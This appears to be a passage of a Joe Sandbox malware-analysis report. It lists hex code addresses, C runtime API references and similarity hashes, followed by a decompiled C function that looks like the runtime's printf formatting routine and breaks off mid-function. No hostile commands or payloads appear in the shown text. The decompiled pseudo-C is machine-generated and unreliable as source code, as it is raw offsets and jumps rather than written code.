0x00000000
0x0043c844
0x0043c840
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c007
0x0043c00d
0x0043c00f
0x0043c012
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c14d
0x0043c152
0x0043c154
0x0043c157
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x00000000
0x00000000
0x0043c0b4
0x0043c0b4
0x0043c0c0
0x0043c0c6
0x0043c0cd
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e4
0x0043c0f0
0x0043c145
0x00000000
0x0043c145
0x0043c0cf
0x0043c0cf
0x0043c0d5
0x0043c0d9
0x0043c0f8
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x00000000
0x0043c0fe
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b2
0x0043c3b6
0x0043c3c1
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c416
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c493
0x0043c498
0x0043c49a
0x0043c49e
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c49e
0x0043c4c1
0x0043c4c8
0x0043c4cb
0x0043c4d0
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c4fe
0x0043c501
0x0043c506
0x0043c50b
0x0043c50e
0x0043c511
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c840
0x0043c3c7
0x0043c3c7
0x0043c3ce
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c035
0x0043c038
0x0043c091
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c07c
0x0043c084
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c29c
0x0043c2a1
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x0043c2a9
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2cf
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f3
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c2f9
0x0043c300
0x0043c348
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c59e
0x0043c5a4
0x0043c5a6
0x0043c5a9
0x0043c5a9
0x0043c5af
0x0043c5af
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c15d
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c196
0x0043c199
0x0043c221
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c255
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c262
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c277
0x0043c27d
0x0043c27d
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1cb
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1dc
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1f3
0x0043c1fb
0x0043c1fd
0x0043c1ff
0x0043c205
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1bf
0x0043c1c2
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x0043c840
0x00000000
0x0043c53d
0x0043c53d
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x00000000
0x0043c68e
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x00000000
0x0043c844
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde2
0x0043bde5
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x0043cb04
0x0043cb11
0x0043cb11
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca5e
0x0043ca68
0x0043ca68
0x0043ca6e
0x0043ca74
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca98
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043ca9e
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043ca49
0x0043ca49
0x0043ca50
0x00000000
0x00000000
0x0043ca52
0x0043ca52
0x00000000
0x0043ca52
0x0043c840
0x0043c817
0x0043c817
0x0043c81b
0x0043c828
0x0043c82b
0x0043c82e
0x0043c831
0x0043c834
0x0043c837
0x0043c83a
0x0043c83a
0x0043c83d
0x00000000
0x0043c83d
0x0043c81d
0x0043c81d
0x0043c820
0x0043c823
0x0043c826
0x00000000
0x00000000
0x00000000
0x0043c826
0x0043c77c
0x0043c77c
0x0043c77f
0x0043c782
0x0043c789
0x0043c790
0x0043c798
0x0043c79e
0x0043c7a1
0x0043c7a4
0x0043c7ab
0x0043c7b7
0x0043c7bd
0x0043c7c3
0x0043c7ca
0x0043c7cc
0x0043c7d2
0x0043c7d2
0x0043c7d8
0x0043c7d8
0x0043c7de
0x0043c7e7
0x0043c7ec
0x0043c7ef
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x00000000
0x0043c76c
0x0043c75e
0x0043c69b
0x0043c69b
0x0043c6a2
0x00000000
0x00000000
0x00000000
0x0043c6d0
0x0043c6d0
0x0043c6d6
0x0043c6dc
0x0043c6e2
0x00000000
0x0043c6e2
0x0043c5b2
0x0043c563
0x0043c54d

APIs

_get_int64_arg.LIBCMTD ref: 0043C5C0
__aullrem.LIBCMT ref: 0043C790
__aulldiv.LIBCMT ref: 0043C7B2

Strings

9, xrefs: 0043C7C3

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: ba5a0bad7295129e0ffdce687811e602dc813b423b59604de4212f4d725f2a61
Instruction ID: f45315666777661b4a953e5b1641993bb60ec5c8a8921915528c53a2d79df95e
Opcode Fuzzy Hash: ba5a0bad7295129e0ffdce687811e602dc813b423b59604de4212f4d725f2a61
Instruction Fuzzy Hash: 184119B1E1022A9FDB24CF58C881BAEB7B5FF89314F10519AD549B7241D7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043C594, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C594(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E004285E0(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E004285E0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E004285E0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E004285E0(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428600(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428600(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CC80(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CCC0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CC80(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043CCC0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AFF0(_t674 - 0x40);
													_t539 = E0043B720(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CC20( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CC80(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C6E0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CB14))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CC20( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
